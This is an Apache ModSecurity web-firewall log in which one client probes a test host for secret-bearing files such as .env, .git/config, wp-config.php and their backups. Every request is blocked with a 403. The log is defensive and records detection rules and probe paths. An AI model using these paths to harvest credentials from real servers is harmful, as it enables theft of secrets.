[Mon Jan 26 19:22:42.946178 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aXew8gyjWv2z5BdJmRlxAwAAAAA"]
[Mon Jan 26 19:22:42.946412 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aXew8gyjWv2z5BdJmRlxAwAAAAA"]
[Mon Jan 26 19:22:42.946549 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aXew8gyjWv2z5BdJmRlxAwAAAAA"]
[Mon Jan 26 19:22:43.032751 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aXew8wyjWv2z5BdJmRlxBwAAAAA"]
[Mon Jan 26 19:22:43.032913 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aXew8wyjWv2z5BdJmRlxBwAAAAA"]
[Mon Jan 26 19:22:43.033051 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aXew8wyjWv2z5BdJmRlxBwAAAAA"]
[Mon Jan 26 19:22:43.054662 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXew8wyjWv2z5BdJmRlxCAAAAAA"]
[Mon Jan 26 19:22:43.054814 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXew8wyjWv2z5BdJmRlxCAAAAAA"]
[Mon Jan 26 19:22:43.054946 2026] [:error] [pid 1660219] [client 195.178.110.132:32894] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXew8wyjWv2z5BdJmRlxCAAAAAA"]
[Tue Jan 27 03:40:34.755030 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXgloooKub8cHPrJxjGT_gAAAAc"]
[Tue Jan 27 03:40:34.755245 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXgloooKub8cHPrJxjGT_gAAAAc"]
[Tue Jan 27 03:40:34.755398 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXgloooKub8cHPrJxjGT_gAAAAc"]
[Tue Jan 27 03:40:34.776610 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXgloooKub8cHPrJxjGT_wAAAAc"]
[Tue Jan 27 03:40:34.776781 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXgloooKub8cHPrJxjGT_wAAAAc"]
[Tue Jan 27 03:40:34.776929 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXgloooKub8cHPrJxjGT_wAAAAc"]
[Tue Jan 27 03:40:34.797619 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aXgloooKub8cHPrJxjGUAAAAAAc"]
[Tue Jan 27 03:40:34.797733 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aXgloooKub8cHPrJxjGUAAAAAAc"]
[Tue Jan 27 03:40:34.797872 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aXgloooKub8cHPrJxjGUAAAAAAc"]
[Tue Jan 27 03:40:34.798016 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aXgloooKub8cHPrJxjGUAAAAAAc"]
[Tue Jan 27 03:40:34.821846 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aXgloooKub8cHPrJxjGUAQAAAAc"]
[Tue Jan 27 03:40:34.822008 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aXgloooKub8cHPrJxjGUAQAAAAc"]
[Tue Jan 27 03:40:34.822139 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aXgloooKub8cHPrJxjGUAQAAAAc"]
[Tue Jan 27 03:40:34.842794 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aXgloooKub8cHPrJxjGUAgAAAAc"]
[Tue Jan 27 03:40:34.842965 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aXgloooKub8cHPrJxjGUAgAAAAc"]
[Tue Jan 27 03:40:34.843112 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aXgloooKub8cHPrJxjGUAgAAAAc"]
[Tue Jan 27 03:40:34.864112 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aXgloooKub8cHPrJxjGUAwAAAAc"]
[Tue Jan 27 03:40:34.864268 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aXgloooKub8cHPrJxjGUAwAAAAc"]
[Tue Jan 27 03:40:34.864439 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aXgloooKub8cHPrJxjGUAwAAAAc"]
[Tue Jan 27 03:40:34.885017 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXgloooKub8cHPrJxjGUBAAAAAc"]
[Tue Jan 27 03:40:34.885188 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXgloooKub8cHPrJxjGUBAAAAAc"]
[Tue Jan 27 03:40:34.885326 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXgloooKub8cHPrJxjGUBAAAAAc"]
[Tue Jan 27 03:40:34.905948 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXgloooKub8cHPrJxjGUBQAAAAc"]
[Tue Jan 27 03:40:34.906120 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXgloooKub8cHPrJxjGUBQAAAAc"]
[Tue Jan 27 03:40:34.906251 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXgloooKub8cHPrJxjGUBQAAAAc"]
[Tue Jan 27 03:40:34.927348 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aXgloooKub8cHPrJxjGUBgAAAAc"]
[Tue Jan 27 03:40:34.927489 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aXgloooKub8cHPrJxjGUBgAAAAc"]
[Tue Jan 27 03:40:34.927659 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aXgloooKub8cHPrJxjGUBgAAAAc"]
[Tue Jan 27 03:40:34.927835 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aXgloooKub8cHPrJxjGUBgAAAAc"]
